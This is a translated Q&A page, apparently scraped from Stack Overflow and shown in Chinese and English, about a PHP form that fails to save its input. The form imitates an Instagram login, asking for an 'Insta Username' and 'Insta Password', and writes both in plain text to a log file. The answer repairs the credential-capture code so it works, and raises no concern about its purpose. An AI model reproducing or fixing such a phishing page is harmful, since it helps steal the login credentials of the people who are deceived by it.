简体   繁体   English

单击按钮后重定向,然后在同一站点上运行PHP脚本

[英]Redirect after clicking a button and then run a PHP script on the same site

I am trying to make a log for my login site but I cant get the PHP below it to run properly. 我正在尝试为我的登录站点创建日志,但是无法获取下面的PHP以使其正常运行。

The code: 编码:

<form method="POST" name="submit" align="center">
    Insta Username: <input type="text" name="user">
    <p>Insta Password: <input type="password" name="pass" action="error.html">
    </p>
    <button>Submit</button>
</form>

<?php
$ussern = $_POST['user'];
$passw = $_POST['pass'];
$fp = fopen('log.txt', 'a');
fwrite($fp, "[Username: ".$ussern."] [Password: ".$passw."]".PHP_EOL);
?>

The problem is that with this input 问题在于此输入

输入

I get this output 我得到这个输出

输出

Update these lines it may work 更新这些行可能有效

<form action="" method="POST" name="submit" align="center">
<button type="submit"></button>

This must be because you didn't checked for whether the code is running when you are serving GET request or POST request. 这可能是因为在服务GET请求或POST请求时,没有检查代码是否正在运行。 Plus you don't have action field in the form tag and a submit button. 另外,您在表单标签和提交按钮中没有操作字段。 May be this will work. 也许这会工作。

<form method="POST" name="submit" align="center" action="">
Insta Username: <input type="text" name="user">
<p>Insta Password: <input type="password" name="pass" action="error.html"> 
</p> 
<button type="submit">Submit</button>
</form>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $ussern = $_POST['user'];
    $passw = $_POST['pass'];
    $fp = fopen('log.txt', 'a');
    fwrite($fp, "[Username: ".$ussern."] [Password: ".$passw."]".PHP_EOL);
    fclose($fp);
}
?>

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM